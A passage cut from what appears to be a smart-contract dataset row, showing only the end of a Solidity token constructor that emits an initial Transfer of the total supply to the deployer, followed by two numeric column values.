emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,288 |